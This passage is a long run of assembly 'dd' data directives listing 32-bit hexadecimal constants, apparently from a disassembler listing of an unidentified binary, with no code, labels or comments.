		dd 1CB1A620h, 0BB500196h, 4C1B6D0Bh, 4E75DE5Fh,	78CC183Dh
		dd 54520A96h, 84545B5h,	81002E7Dh, 0FC7811F7h, 7194970Ch
		dd 0D5DC5F5Fh, 28BA004Eh, 0D576508Dh, 0A2EED94Ah, 24FFC38h
		dd 0BDCA5BFBh, 0C159DDh, 0F13C7E1Ah, 5D01B623h,	0DA5CD0Ch
		dd 2AE5B57h, 99E2601Dh,	2E393D3Fh, 87293E83h, 0FF98F5Ch
		dd 173B7230h, 63AA5C6Ch, 6558E148h, 0CC05FF74h,	0F78A0322h
		dd 0B1566D0Bh, 50704527h, 0EA09EF34h, 4490A8Dh,	604A0E42h
		dd 180D0BF4h, 1D356DC8h, 9A2B6181h, 0C017C86Bh,	0EA9E6FFFh
		dd 0B35060A4h, 0D52D9DD0h, 79E15314h, 1F5181Bh,	2EDA9009h
		dd 54EBD2A2h, 0A28FB89Ah, 94422948h, 0C6676C5Ch, 0DE25540Bh
		dd 5AAF3302h, 0E9603B74h, 0D86E1CAEh, 0EC03BBFFh, 0A5FF4B98h
		dd 0CC638127h, 12E667C4h, 0F261507Eh, 22C5D073h, 3161B741h
		dd 7B112F18h, 7FF7002Ch, 111FF1E0h, 0ED5F00B5h,	6DB4BCD2h
		dd 8B2DBAD8h, 70D553C1h, 0CD00887Dh, 5ACC3149h,	251501BBh
		dd 195722A7h, 0E220CB51h, 0DB83480Fh, 5F535282h, 0BFFFF85Fh
		dd 0ECC0E16Dh, 33ADEA6h, 3F68DB6Ah, 0EEB56432h,	3300536Fh
		dd 423A8694h, 0BA01B94Bh, 0BD89CCF9h, 0E67E25ADh, 0DEFA2F79h
		dd 59270060h, 83A3B6F1h, 0DAD80D06h, 74340BE6h,	6A5B8195h
		dd 0CC813BDEh, 2DDE2805h, 2BA940B2h, 0BE9207E8h, 0FC03FD25h
		dd 634FC0EFh, 0ED0202CDh, 432C4657h, 27BC5E4Ch,	0F4DC7BDCh
		dd 0E43E7CFAh, 0D3AD12AEh, 0D35A1316h, 0FEBA90CCh, 5F499AD5h
		dd 948BF1EDh, 6FC481h, 793B4C0Ah, 0F4111CB2h, 0D5091B72h
		dd 80CEC5B0h, 6255C9E4h, 6870BD5Fh, 7883E973h, 5C9571C6h
		dd 0EB83201Ah, 0AAEDF08Eh, 0C8F10030h, 0D5361F48h, 118B908Ah
		dd 954B23DDh, 0BD7ABA80h, 48662700h, 1EE8CB14h,	9D161F4Fh
		dd 0E6B874ABh, 3433A06Fh, 0BB1F12FBh, 10DEB973h, 62F20B8Dh
		dd 819D3320h, 965C9518h, 50A97B4Bh, 0CF7A8663h,	0B5316204h
		dd 0C8FA063Dh, 504CFAEDh, 0B8947783h, 50B405DCh, 0D82BF780h
		dd 7E95890Eh, 0FAE98467h, 0B232BC0Bh, 10794435h, 2E1E059Dh
		dd 9278609h, 5EB5D5E8h,	2E801891h, 69B607E6h, 0CDB58912h
		dd 0F4F8F74Ch, 95509AFEh, 0AC2E6F65h, 97DC3FD4h, 0DAF60185h
		dd 40CCBE54h, 0D45D4BB3h, 2D9EBF22h, 0AA6790C0h, 6A2DC05Eh
		dd 3BB577C9h, 4A4ACC25h, 0C9D8FDC7h, 1548552Bh,	0F69DFF6Ah
		dd 9D02DCF0h, 0BCEFD641h, 21F8C123h, 0C52EDE7Fh, 0FE2AB08h
		dd 2DF38101h, 2F79CCEBh, 8B181867h, 2DD1810Fh, 2DE5D383h
		dd 49AE84B0h, 0BAA9FBAEh, 0FE241A70h, 27173F01h, 0C2E432AFh
		dd 2DCB21A1h, 1F172F7Fh, 14A30BAFh, 0F9C43356h,	651016BDh
		dd 809C90Fh, 56A7A9B7h,	2BDF8650h, 5A0F98C8h, 404FEF43h
		dd 0A5BD29D1h, 83CDCB0Bh, 8CF2FE1Ah, 230922C5h,	0B63274B5h
		dd 9259204Ah, 0C307B137h, 2293870h, 0F1B92061h,	104AE23Ah
		dd 80C20B49h, 71551DC7h, 12F542A0h, 0DE173E26h,	0CE6A52Ch
		dd 6CBABF04h, 9BC7B7Dh,	48C4B34Eh, 2F0D135Bh, 4B6E0488h
		dd 880ED9A5h, 20200D68h, 89F9B9ABh, 67BA60Ch, 2556C308h
		dd 5581B1F5h, 9E6F6635h, 5D980ACh, 69DA7953h, 4089B84Dh
		dd 94EC9356h, 0B976152Ah, 80289438h, 0FC8A25E0h, 0D5B22257h
		dd 2B642F0Fh, 0B8C0F9C0h, 11D082Ch, 203B3CADh, 9E13B51Eh
		dd 0C4A684F1h, 40386420h, 0F59E5ABAh, 170280D0h, 579785EAh
		dd 2E40D4DEh, 27CDFE2Fh, 0A410EDEFh, 0D16A761h,	0EFA263D4h
		dd 0EB7B4E00h, 5B45CEF2h, 18DF6AE3h, 91C019C8h,	0B5E653Fh
		dd 880DE2E9h, 0DE81327Bh, 2B1F6BFCh, 0E1FF9C6Ah, 79AC2E4Eh
		dd 0BEA6BEB4h, 499BB9A0h, 0ED25A70Eh, 2576C830h, 7F2F09F5h
		dd 0FA7865E7h, 5CF89FDFh, 0B1CB1641h, 392E08D1h, 0F129C6BCh
		dd 99FE2FD0h, 0E9EAB40h, 0D8C900D3h, 0ADA8F896h, 0B827315Dh
		dd 0AC1363A2h, 0A5123AB3h, 0B5EBB80Fh, 29A050F6h, 0BB00D71Ah
		dd 3122183Ch, 9EE1FFF8h, 0A300DCF2h, 11C8274h, 9F4230BEh
		dd 0CB54B092h, 5D2F2381h, 282E824Bh, 6FD26FC9h,	7D8DA5B2h
		dd 0D1ED3A1Ah, 0B95CC5B8h, 0C5F925A2h, 4D1A1AB1h, 0DF0082D1h
		dd 34611F01h, 0F8D00E1h, 3B7FF8D3h, 79167562h, 4F1260A4h
		dd 208D8DB4h, 3AA31FBDh, 11571ACAh, 41FC29E0h, 9119970Fh
		dd 0F667ADF3h, 0F7816031h, 1525DAECh, 0D592423Eh, 0EDD00BF3h
		dd 0E6E14A67h, 4588389Dh, 298A827Bh, 0DBC7C00Bh, 1552B59Dh
		dd 8BAAB83Ch, 55611369h, 0DC9F7564h, 935CCE43h,	0E054A690h
		dd 24D94D5Bh, 3A9EE2A9h, 0B4761BA8h, 5B4340DEh,	0DF1F36B2h
		dd 24C04432h, 0CF9952C6h, 0D26800F5h, 0BF79E026h, 0C0256292h
		dd 2D40C04Eh, 0B4FF7C25h, 0D814DCFCh, 77E9BDA3h, 5E9D234Bh
		dd 2B23803Bh, 5C95282Ch, 0E7DC269h, 66416724h, 447FAFBFh
		dd 0A4DFFFE7h, 0D6ECF980h, 0F56C9509h, 4E4E5C67h, 4130AA48h
		dd 852F79B5h, 0C9BD2302h, 49B41C08h, 3AFF00D4h,	37D13491h
		dd 8162E7A6h, 72105FEh,	85092289h, 7FDBA955h, 1691BFB5h
		dd 86627282h, 0A521F97Dh, 8448E17Eh, 557AFA09h,	1B791310h
		dd 2D53F082h, 6D561F33h, 14056142h, 2915F680h, 0E09C6880h
		dd 0B3DD58AFh, 4920C8CEh, 5FDACA66h, 63E46095h,	22702503h
		dd 310CB466h, 97160DB5h, 72C70D81h, 6086906Ah, 0C190509Ch
		dd 0B96E0C45h, 1202969Ch, 0B790612Ah, 123F80CBh, 5A61CD90h
		dd 0CC6B612h, 17B2AEB6h, 2C710B30h, 8C3D50E6h, 0DA0A5161h
		dd 0D9F35B5Fh, 0A867EDD3h, 2D009869h, 69A21365h, 0D5542EE5h
		dd 0CE2D4771h, 54EC6EEDh, 0B5D4FAD6h, 58C0609Bh, 90A4DF2h
		dd 75765697h, 42DD9E2h,	0A396ACF5h, 0A91FECEBh,	1DDD66BCh
		dd 0A15B2B7Dh, 2AFA9813h, 199E8099h, 5C0C9991h,	8CF87FCh
		dd 0F4B10E00h, 9300297Bh, 0B75A47Ah, 499BB7Dh, 0EEF06706h
		dd 0C1A9AC26h, 0E91B529h, 602B9C6Ah, 8EF6811Dh,	0BB125EC0h
		dd 2FF3C317h, 0ADFB610Bh, 0FC181559h, 5F50C827h, 9E1703A0h
		dd 7B004742h, 36C3EF2h,	2AC9837h, 0BC35E67Ch, 89DD9CA1h
		dd 0A53E5EA1h, 9DE7AFCh, 80141FCEh, 0EB528FFFh,	0F8377F17h
		dd 7A4CA7h, 0DF33DE11h,	20EAB8A9h, 24BBF85Eh, 0D36BA8C3h
		dd 3D8000E8h, 0E0FB8783h, 0FC865D27h, 0AE5F64EBh, 25AD4C71h
		dd 0D2FDA27Ah, 0AEA8AFE9h, 14476500h, 9F8395C8h, 0A24C9580h
		dd 2D598D10h, 6C032C53h, 0A688B062h, 0AA97B2A0h, 0F561AE1Dh
		dd 0E701C757h, 0B313FE9Dh, 0F784162Bh, 80A1B324h, 0DF38D1Dh
		dd 6F1A5163h, 57226AFEh, 31C5FDD8h, 112B2951h, 64AC1FC2h
		dd 0C525E590h, 0A71A5707h, 4D47D5Eh, 0BD958915h, 0A2D2AC2Dh
		dd 0EB28230Dh, 1ED3D5B8h, 16D99001h, 8E5E70F9h,	0FBD3242Bh
		dd 0E91F186Fh, 58CB4701h, 0A7A74A94h, 0CC958CD8h, 40BB3FC5h
		dd 237FFB4Ah, 7C2D4B05h, 56F4AA29h, 9D230953h, 84D41631h
		dd 0DC50FE42h, 8FE16024h, 810076B4h, 67EEF362h,	0F363E2A8h
		dd 2658E3E8h, 820A9EB1h, 2AA99D2Bh, 5635F95Fh, 0F8212205h
		dd 0DC94208Dh, 82D3C4A8h, 1C57195Ch, 2784B435h,	1CDEF376h
		dd 0AE5096C6h, 0AB90A89h, 9C8C867h, 5959FC36h, 0D84D9CA0h
		dd 8C15B863h, 5B363725h
		dd 89F981BEh, 3A2211BDh, 5A8911A3h, 0F6C2DCh, 3472FE9Ah
		dd 8B6C26F8h, 499D8911h, 0B261FE4Bh, 0BB140F67h, 0B15F9B6Eh
		dd 0F57830B3h, 0AEA3125Ah, 9D2960C3h, 0FCD590E5h, 0E65AE961h
		dd 95F4B1A1h, 55A095A9h, 6DDB80C1h, 3B6653B5h, 0A80CB677h
		dd 0CF0971Ch, 5B9504F8h, 0CCF77A22h, 0EC0497F2h, 0EDB7EF1Dh
		dd 1C0C36B0h, 85FF6B01h, 0E39AF4AAh, 75FD937Fh,	0E6042784h
		dd 0A8DD8A04h, 10EC4BC6h, 6E219110h, 0C0DE80Ch,	5FEF9061h
		dd 0DB20879Ch, 3B8038E7h, 76C20253h, 705B5D02h,	0B52DA07Fh
		dd 14C6950Dh, 12062FB7h, 0ACBC05FDh, 63F43900h,	0F6ED3B20h
		dd 77744B5Eh, 0BF141481h, 202162DDh, 0F253D53Eh, 530A887h
		dd 0CB2266B1h, 0D2CCBE2Eh, 91FB4AB3h, 0F17D98Fh, 1056A829h
		dd 91B24E32h, 1B4CEA00h, 47AEF8ECh, 24D81700h, 77552CE0h
		dd 2DF42DB3h, 6F46E54h,	8F01EF51h, 0E44B6D4h, 0C2810F60h
		dd 552B6520h, 0BA14F82h, 4A40FB92h, 501EE23Ah, 0CD25DE8Ah
		dd 0B2C761h, 21190EC4h,	522DC090h, 80C051E7h, 0FBB422D9h
		dd 1F00889Fh, 0EBFE256Eh, 1F3C6F7h, 366A9772h, 6EA2B707h
		dd 10331398h, 1230899Dh, 7AC6EE9h, 0FE60AE1h, 5DC11688h
		dd 7C5A12C2h, 8A339BC0h, 3B059E4Eh, 88DD8373h, 0D0057AF2h
		dd 0F84C7FB3h, 82EF1249h, 594EB909h, 0CB899D1Dh, 0D5F40475h
		dd 0B2B1A4C0h, 6A860044h, 0A8A1101Fh, 604F50ACh, 0C3C332ABh
		dd 0D169EC74h, 0D0DE855Dh, 9EBBFCE0h, 0B29BC24Eh, 956974BBh
		dd 0B896A96Fh, 0CE7B0483h, 81DB8B2Ch, 2B26B624h, 9EEF5824h
		dd 0D2EF800Eh, 9F03F36h, 0A1895216h, 7A2370E1h,	0B9A4B5A7h
		dd 0F7D38030h, 0B22A29Eh, 6D55822Fh, 15402A7Eh,	4BFCBEh
		dd 0F60C5023h, 2C18A97Fh, 0DDF9AD1Eh, 4BBCE17h,	0E17E139h
		dd 4CA0325Bh, 0E90972Ch, 0AB951AD9h, 84BC3D84h,	0AB1F5B8Eh
		dd 6A9940D2h, 0D6E9C271h, 78BFDCD2h, 40F29C13h,	0CB597134h
		dd 0B625FF24h, 5F630518h, 0AD8D1201h, 0B24C7018h, 28000DD3h
		dd 38723A16h, 0B89DCABBh, 0CF91555Fh, 254DC7E4h, 816C4A04h
		dd 558A01F2h, 0AD88F651h, 824A2516h, 0D525ACDCh, 92E35718h
		dd 0C9773B02h, 567FD780h, 2FDA9184h, 83045652h,	0F7818DB3h
		dd 8D87FF0h, 0DB06BA27h, 38B58094h, 0F8F6F9B4h,	3E925F5Eh
		dd 0BC66D5C1h, 160E5BEh, 9504D5BDh, 0C6029D92h,	537F243Dh
		dd 73BF01CEh, 6A7E53FFh, 0D510F8A2h, 5F528720h,	0E2BFD1A5h
		dd 77E91248h, 0A12219B2h, 4438A0B0h, 0C4A8CF4Ch, 0B1FDE512h
		dd 0B5726095h, 7F0CD527h, 0BF611CB0h, 839B0F0Dh, 56C22C62h
		dd 510D919Fh, 93A93B24h, 0ED16E14Ch, 0C011AD17h, 52CDBE60h
		dd 10124C7Ch, 162FC148h, 1D11ACFBh, 0DA68BB02h,	0B8D55F0Bh
		dd 4265BD14h, 2A66410Ch, 64FB9C60h, 8DB7BD07h, 0B372F781h
		dd 0B5526B01h, 74A9891Dh, 75FF65Ch, 0E229CF6h, 86E9802h
		dd 0E0479775h, 0E2104883h, 0A0062588h, 4105CD4h, 11D3B909h
		dd 0A5456D11h, 0F1C24291h, 0D10F04B1h, 13728058h, 0D8FF1631h
		dd 93055437h, 0FC59DEF7h, 0BDC05BDBh, 8F624516h, 0AD232F3Bh
		dd 8188532Dh, 2BE0CF80h, 58B82AD2h, 0E206C7F0h,	0FD409328h
		dd 7F0CE527h, 0B1D5BE32h, 0A8E0DA77h, 7C1F4C2Dh, 17D5F604h
		dd 4E6BAB61h, 0AE031723h, 9F3DCDAh, 2FD9E356h, 892DAA76h
		dd 77EF7F64h, 8DAC8FE4h, 9EEC6FADh, 4A01A397h, 0ACD6DEFCh
		dd 0F32D2553h, 2047D16Bh, 5F6E1F9Eh, 0C2C1C5ECh, 79126CECh
		dd 88A8B329h, 17E3A54Bh, 0DA192C38h, 69B9C2ADh,	47E28050h
		dd 955D97DBh, 266AF9Ah,	0C74808E0h, 0A2DD0103h,	669CD81Fh
		dd 0DF80C26Ah, 6F54E06Ah, 9C04C350h, 0C100F436h, 0EF0B0FB5h
		dd 11F48E5Bh, 4E699D01h, 0A75229FEh, 0DEF9F46Ch, 0CD1CB4FCh
		dd 0C98989BDh, 2775FB2Dh, 5B64FBFEh, 0ACA8E694h, 824F31A3h
		dd 20BC7DF9h, 6A60EAA1h, 30004E6Eh, 6FD3D4FDh, 21776162h
		dd 77E01B4Eh, 0EC094AF8h, 62A59F79h, 2C961E3h, 2B1AB311h
		dd 96EDF17h, 0A38E9001h, 300583DBh, 1A4B3D20h, 8AC8008Ch
		dd 54B7AE46h, 608900E0h, 5E24DE48h, 85661A09h, 0CBB1FE1Bh
		dd 0F506CA7Dh, 0AB0A1E85h, 95C19274h, 42A8FC9h,	0A16E2681h
		dd 58FCAD6Fh, 3537B54Eh, 0F6398E00h, 2623C802h,	18FA527Fh
		dd 685B8169h, 0E3A4C901h, 4AB35349h, 3673B42Fh,	0CAFCA73Dh
		dd 0D772488Dh, 4FB6B500h, 68B72C9Ah, 0AB7D7B00h, 67BFA507h
		dd 91251363h, 5B06FA0Dh, 76B1C01h, 45A4CB81h, 0C35B292Bh
		dd 0CA215F27h, 2F0A810Fh, 0BF021FCBh, 75E96E5Ch, 0D381F7A0h
		dd 872538A1h, 55D56A1Fh, 8E7830DBh, 0B9B65E1Bh,	1A09C469h
		dd 0E32CB6BAh, 4908871Dh, 0BB2645Dh, 4A1CDDAFh,	0A217B664h
		dd 4500876Ch, 0D709D2C8h, 6A291210h, 2B08E168h,	61E8C3FDh
		dd 2DB4FC00h, 87D067Fh,	0D7B7A223h, 2E56AAB2h, 0F4F64726h
		dd 0C48417BBh, 0F69817CBh, 0C66AF05Eh, 0B80716C8h, 0AD6184A8h
		dd 7F0CAD43h, 96A8015Bh, 0FAD9DC88h, 0DD2371h, 0A3EE8EBh
		dd 966915Ch, 0B3A9D802h, 877E2A84h, 0AB08B449h,	0C3096A22h
		dd 510F8426h, 4379D65Dh, 57965F58h, 2AE50D3h, 9673E9h
		dd 0DAC0EE22h, 0E28BFC7Eh, 0B53B0088h, 6D70BE41h, 97B696DCh
		dd 0BA1E4DCh, 5278CB80h, 0FD690956h, 97567F32h,	0F6EBF62Fh
		dd 0D3003770h, 7AE1CB9Bh, 0B78F94FAh, 0F068FDC0h, 0A1FD1414h
		dd 0AFC74AD4h, 5E21EFD1h, 76899F44h, 572BA835h,	0A97AEAB8h
		dd 0B1646F01h, 7FF5BD72h, 0BFCA1902h, 0FD114116h, 6861C552h
		dd 3B3DCF9Dh, 2CF2905Fh, 0ADFD820Fh, 9293B0FFh,	0A9805A32h
		dd 7AFB4A05h, 0D874005Ch, 1C80F15Bh, 93E3129Fh,	2E6DA354h
		dd 25108529h, 4B21B25Ah, 0EF2974BFh, 95892921h,	5BCEF46Eh
		dd 4DB614Bh, 0C79E997h,	1B01830Fh, 0B867B5F5h, 2DA1103Dh
		dd 0D512DA48h, 88E6E316h, 912AD24h, 406AD977h, 0C1DEAF17h
		dd 735BA200h, 7CD2F381h, 0A32AFB09h, 7DEF1004h,	6FE9D7EEh
		dd 0EC0BDFA8h, 22AEA67Ch, 290C21BAh, 85C1C756h,	0C06076Dh
		dd 5909612Dh, 3B62CD8Bh, 6BBB3941h, 0D14B17F4h,	60271132h
		dd 167B8DFh, 8D8B8024h,	569D09F0h, 0B0BFE014h, 2C4BB11Eh
		dd 19AC97FDh, 0E9DE028Ch, 49300B62h, 9998140h, 698FF99Fh
		dd 6750E273h, 0D7461860h, 1C41D607h, 852F0B81h,	0A270AA69h
		dd 0B7CE781h, 9657A4C3h, 0DE400CF8h, 5D1D17BFh,	2E80EEBCh
		dd 5A96E4B3h, 57E7C5F8h, 0EF7FFFD8h, 0C2A27E03h, 0D1A8C9F1h
		dd 5198EB59h, 94C0112h,	43666BFFh, 27E8092Fh, 0ACAF07ADh
		dd 5CCA7E02h, 3185C3E0h, 15C4138Ch, 9666E6EFh, 0C0A831F9h
		dd 36C78900h, 65DDCE1Ah, 50454B34h, 0A25AF7E8h,	0B51277B8h
		dd 732216E5h, 63582999h, 27D3797h, 6B408742h, 0BFB97A7Fh
		dd 0B5B734EEh, 3BE70036h, 0CBEE4F4Ah, 80AB6CE9h, 0D0AAD96Ch
		dd 4DD7005Ch, 13CC381Dh, 0F4974BF9h, 0BB6601E4h, 3A5BB18Dh
		dd 0E7C0B4A8h, 3E40C32Bh, 0D049F3BDh, 0FB02118Dh, 87F3511Ah
		dd 6140E1EBh, 6C8AAA15h, 1DA3AFE5h, 0B85E4C13h,	0B4A61704h
		dd 1288D2E9h, 0ADE6A480h, 724BA5DBh, 0A861002Ah, 1C42C56Ch
		dd 0B824F0C1h, 7A27A59Bh, 965B0211h, 579719BBh,	0F21AF875h
		dd 21A10BBFh, 0DD027BB7h, 6892BE16h, 0F5E27D56h, 5EBD1E20h
		dd 54B72D27h, 0D966A605h, 234001AAh, 911C55BDh,	720008EFh
		dd 659D1137h, 504D0FF4h, 0DB2F34DBh, 17533AA8h,	73FFA900h
		dd 0F5786B87h, 3E5D4802h
		dd 0FE75B0A5h, 0F61AF35h, 8844345Bh, 6F191417h,	0DAE832BBh
		dd 0FA805B55h, 11918277h, 0C14EF518h, 0C88044B1h, 28B634C0h
		dd 0BD2B0019h, 0D918ACB4h, 7EB54A8Eh, 0AE8D65D4h, 0AD5B77A0h
		dd 6019444Eh, 0E12BB20h, 606FCC54h, 75E60433h, 56051208h
		dd 0A1EE61D2h, 0D352E8Ah, 0C9C15004h, 0DBA708BCh, 0BF6CE7Eh
		dd 0FC8DC103h, 0AAD92405h, 9A5A388Eh, 9211824Ch, 40E9DE91h
		dd 654F0725h, 0B1536E24h, 55F6DB02h, 0C0BDDEC6h, 0A0C361B4h
		dd 7AAEED4Bh, 9E605E78h, 90B24DAAh, 1D29205Ch, 5837E925h
		dd 95E49577h, 4D18800Eh, 9CFD20A8h, 31CF95h, 76BE4F1Ah
		dd 0C2FCE75Bh, 120EB90h, 0B8C1EC03h, 0B52CE66Eh, 50971853h
		dd 0E1C4B3FDh, 0FE5B0917h, 4CFD6B2Ah, 18449534h, 0AE06DE1Fh
		dd 38B10A03h, 73D0F970h, 0E4DB29E9h, 23836AABh,	65F10416h
		dd 8736F8D0h, 0F70B5F3h, 1959FFh, 67785D0Ah, 0F7D77642h
		dd 0B479206h, 956E5627h, 1315E960h, 1EB07B9Fh, 0FCDCC043h
		dd 0D6047B61h, 0E026F400h, 1EF9CCDEh, 0FD6BF93Eh, 599C4073h
		dd 340B0842h, 3AFB07F7h, 35D27D7Ah, 8B43F90Ch, 4FA960E0h
		dd 3F3FFF07h, 7555605Eh, 171ACD16h, 48BA8EBEh, 0B190F995h
		dd 50B8007h, 0A3EE17FDh, 0C2DCFB00h, 71E680DBh,	75F43B7Bh
		dd 0BF51AD80h, 35CACDB3h, 6002959Ch, 5B16880Fh,	0A5B9802Ah
		dd 47231031h, 512F200h,	0D45C5FDEh, 0E4D501F0h,	61DA8A91h
		dd 0D16E2B90h, 13AF4200h, 0C56A6452h, 484A7030h, 8A02810Fh
		dd 9929D00Bh, 868BDBBDh, 7B445D91h, 53BD309Ah, 979897Bh
		dd 1879FC7Bh, 5A094018h, 2E5ACCFh, 1BD9B6h, 3160D1FFh
		dd 2F406BB0h, 0C985710Bh, 1D16183h, 23F9DB44h, 0E4954DECh
		dd 0DE2009Eh, 7D3364E1h, 0AA005153h, 0F2FC7718h, 5A6AF9C9h
		dd 82259B02h, 0FD2C55FBh, 0C1292271h, 937CE780h, 16A85BFh
		dd 66DB989Ch, 0F0C6A624h, 0BB9AD8C0h, 90D7F813h, 0C8767C30h
		dd 0BBB3857h, 496E3B81h, 7032219Ch, 523A5F80h, 21F2D858h
		dd 861600E9h, 64A044C4h, 0D430C01Dh, 1F2003Ch, 652C10B4h
		dd 6E90615Bh, 2069A0C7h, 6D97FE27h, 601D64F2h, 2DDE07Bh
		dd 48AC84D7h, 60FF50EAh, 8019E1F5h, 569F1FE9h, 313E5949h
		dd 0F0F67630h, 32536D8h, 21A966F6h, 0B3B9EFB5h,	0B8B429E0h
		dd 9FEC0E10h, 0A10B75F3h, 0F9032CC4h, 79289608h, 5AB89091h
		dd 0AD820397h, 53A3867Fh, 31EA2CA0h, 1344957Ah,	0EFD109BBh
		dd 4DD355F7h, 1707C988h, 81A59050h, 304A9BEBh, 18E24CE6h
		dd 7E8D7630h, 60BA025Eh, 0F199D01h, 0D1EB2275h,	0FC091224h
		dd 46DC5356h, 89F83915h, 0FFA7DB80h, 0DA42DEE6h, 0C5A8FE5Dh
		dd 0F9B56074h, 0CA589DC7h, 49C8018Eh, 0DC111C0h, 0D96F034Eh
		dd 7877B407h, 0EF8101A1h, 467DE080h, 3AB1B197h,	36F2BB15h
		dd 69DB7100h, 0B0DC2D2Bh, 16D03AE1h, 44E9364Eh,	0AE012E13h
		dd 4BC085DDh, 0AD7FEA47h, 82ADCF19h, 0F770E661h, 0F99555CCh
		dd 0BD23C197h, 0FF99A781h, 0DA7DF718h, 0F86F090Fh, 3AC1C0DBh
		dd 5F08C243h, 0E796C8B9h, 0A5F3CF00h, 0E405E013h, 0F8A59781h
		dd 0A11FFCC9h, 522B9D23h, 3F02F1BFh, 0FDE2A912h, 2DD42B2Dh
		dd 28C0C164h, 4AF6A12Eh, 9619206Ch, 0FCFA9F60h,	4F9569Fh
		dd 0BCFD5FBFh, 952904E5h, 0F02716F1h, 8BE4DABBh, 6FC1D15Bh
		dd 4B8A7AE9h, 0F94E780h, 85A0F9B7h, 47554C50h, 0DD2F8ABCh
		dd 60076AA0h, 0D52CBD2Bh, 7C4F2526h, 7A1BB709h,	8A1544DDh
		dd 49E9D911h, 314D9C62h, 0F0F136C2h, 7B6DD789h,	0CB311DE5h
		dd 91F51AA5h, 0B8140484h, 821E88E6h, 170DBD33h,	0D09514D7h
		dd 330B633Ah, 1655519Dh, 76CE16F3h, 829BBA07h, 0AB4B380h
		dd 7673CB6Ah, 38D0F193h, 0FE604E5Eh, 61F84421h,	0B2ABB67Ah
		dd 4CDE6C14h, 3D304AACh, 0FF6B945h, 383F3D9Fh, 0ED122A00h
		dd 72E55827h, 44E9493Ch, 0FD0B04F5h, 0AE4AECCDh, 0F1928FB3h
		dd 899B2E29h, 0B23FDA84h, 0A3560010h, 0F52EF7E3h, 23A7FAEh
		dd 26216C0h, 0B97F2FFCh, 5CEE5FE0h, 7D532D24h, 0E4181851h
		dd 85748C03h, 9FD22B31h, 751CF552h, 6DAFE94Fh, 0EB41407Eh
		dd 657622F0h, 9ADB24C0h, 0B70DAA52h, 8977A37h, 76C21401h
		dd 0B202957h, 0B8214AF9h, 9ABEA4E1h, 1CECC151h,	31FC034Bh
		dd 9735BDE1h, 0E7801991h, 0AA05E64Ch, 56A0744Ah, 0E2608219h
		dd 4127FC17h, 39A54630h, 7249B529h, 42EAB4Fh, 40C9CA91h
		dd 917C4D5h, 2E09BD01h,	826D7355h, 0BE79B53h, 5ADCB0FEh
		dd 0D8C002FCh, 0F6C0BBBDh, 149D4543h, 334145A4h, 58CA5B40h
		dd 0DF24E648h, 0BC09697Ah, 58F76E75h, 9F007BA6h, 5C23F73Eh
		dd 2A1DA7B8h, 0D942CE4Fh, 7D3A6DEEh, 0B22C2573h, 0D507190Bh
		dd 2B696E9Ch, 591D82F5h, 71777424h, 0FD26A533h,	3304DFB7h
		dd 31BF8089h, 3ADF8B0Ah, 0D0CA6928h, 0FB188621h, 3135BA60h
		dd 9D94C4B5h, 0AA7168D3h, 0BB38003Ah, 5EE3D933h, 0E516249Dh
		dd 3A31FE59h, 0CB91E5A2h, 89C3FD4Bh, 55C906D8h,	3D905C23h
		dd 0C81737C1h, 24FD3FBEh, 0D9F26C0Eh, 0DB905004h, 0CCB8D363h
		dd 5DBF0693h, 0CEEA482Dh, 6482E000h, 0E4C6A368h, 9CCA124h
		dd 69383010h, 0EB5B3A0Fh, 5F5CFC12h, 5C1A4067h,	98FB74C5h
		dd 0C22CEA89h, 2BF9BDD7h, 912837D7h, 6FDE801Dh,	1ED7F907h
		dd 0D3A69B40h, 2F26A50Eh, 78A0AFE7h, 8F009DA3h,	82E2090h
		dd 9D0166E9h, 1B5D0322h, 206D5B55h, 1A0525D4h, 46DE0C5Ch
		dd 80680414h, 8FEA07EFh, 0F9767CC2h, 299D08C6h,	0FF605C8Fh
		dd 2F43B9D7h, 698BF4D1h, 1A2069F0h, 5F3DAA0Bh, 1C0016BDh
		dd 206F21A3h, 0C4714BD7h, 0D583048Bh, 5796041Dh, 0DF39D4ECh
		dd 80FCBA8Bh, 845FBA09h, 6040098Fh, 6C272CBEh, 5B170E7Dh
		dd 0E1F89661h, 70C381C7h, 0F94D4AF1h, 0E8619B97h, 18B38F3h
		dd 266863EAh, 2EE9A39Dh, 5AB87D85h, 0A180F58Fh,	0F49B7EB3h
		dd 146F5517h, 8C240DAAh, 5DC223h, 0F4BB668Fh, 585A25ACh
		dd 0E8D960E1h, 0B7BF167Bh, 99FD0B6Ah, 0F89F23F8h, 0FFC9059Eh
		dd 0F7858D2Eh, 803AE0CFh, 8B05BF7h, 76252CBBh, 6DC2317Dh
		dd 96E384Bh, 57B1BD0Bh,	0BB05E394h, 748AA28h, 9FDAA8E0h
		dd 5EDADCFBh, 2345C010h, 420282AAh, 0BAF0A43h, 52495C4Fh
		dd 0E9F8CE10h, 0C48B214Ch, 0B3BA22CDh, 9E40AF74h, 58539FFBh
		dd 493FC70h, 0BB9D773Fh, 4809EBF9h, 0C4F37121h,	3E8AB112h
		dd 0AF8441DBh, 23EFC166h, 3FEE6607h, 0B7BC001Dh, 0ECE253F8h
		dd 2D89091h, 0B9399B49h, 0DC96FD68h, 0B77DCD62h, 7D6E7F30h
		dd 54135D2Fh, 2C93DE3Ah, 0D466CB80h, 58E0EE02h,	0DE3A4516h
		dd 0D391FD4Bh, 75F9EF37h, 0B24B246Dh, 6976552Dh, 192FC49h
		dd 49C0CD83h, 0BCCDDF5Bh, 8AFC4B4Ch, 6B49BFA0h,	5B612C2Dh
		dd 18165917h, 7DCC3102h, 2F26CD6Ah, 1D238D6Fh, 33970100h
		dd 9C57046h, 0C0A7BE8Eh, 46D6DC5Ch, 0B0F2001Bh,	8F324078h
		dd 0AB084B7Fh, 28B94924h, 0E9D7AD4Ah, 60011728h, 88CCDF70h
		dd 85302057h, 3F5F8AA9h, 0EE588BF6h, 7082C227h,	205EC4A2h
		dd 7DAB725h, 0A2F5ABDBh, 1D5E493Eh, 0C4FA0364h,	349DFFE5h
		dd 0D22F3461h, 0D14F6A18h, 9C9B754Bh, 2C8DEA12h, 8E7C3429h
		dd 2036AD80h, 43029A54h, 0FA8B3CE2h, 0EDEDDD5Fh, 0B7056C69h
		dd 608111DBh, 4F98D29h,	0D5134C7Dh, 4AABE218h, 0F26125A1h
		dd 0CAF6E2Ah, 58CEC658h, 0B92AFD1Dh, 0AC17B8FBh, 0ED0F09A5h
		dd 95FFB442h, 0EE77495Dh
		dd 3274956Bh, 0C6D78041h, 723A282Fh, 606CCF97h,	0F427C9D8h
		dd 7F4F4104h, 1F4013E9h, 9F8F5294h, 0B1803C0Fh,	0BCEC20D6h
